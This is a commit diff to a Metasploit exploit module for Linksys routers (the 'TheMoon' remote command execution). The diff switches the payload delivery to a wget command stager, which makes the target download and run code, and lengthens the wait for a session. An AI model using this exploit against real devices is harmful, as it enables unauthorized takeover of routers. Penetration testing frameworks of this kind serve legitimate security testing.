Update themoon exploit to use wget command stager

Author: acammack-r7

modules/exploits/linux/http/linksys_themoon_exec.rb

@@ -62,7 +62,8 @@ def initialize(info = {})
             }
           ],
         ],
-      'DefaultTarget'   => 0
+      'DefaultTarget'   => 0,
+      'DefaultOptions' => { 'WfsDelay' => 30 }
       ))
       deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
   end
@@ -116,7 +117,7 @@ def exploit
     end
 
     print_status("Exploiting...")
-    execute_cmdstager({:flavor  => :echo})
+    execute_cmdstager({:flavor  => :wget})
   end
 
 end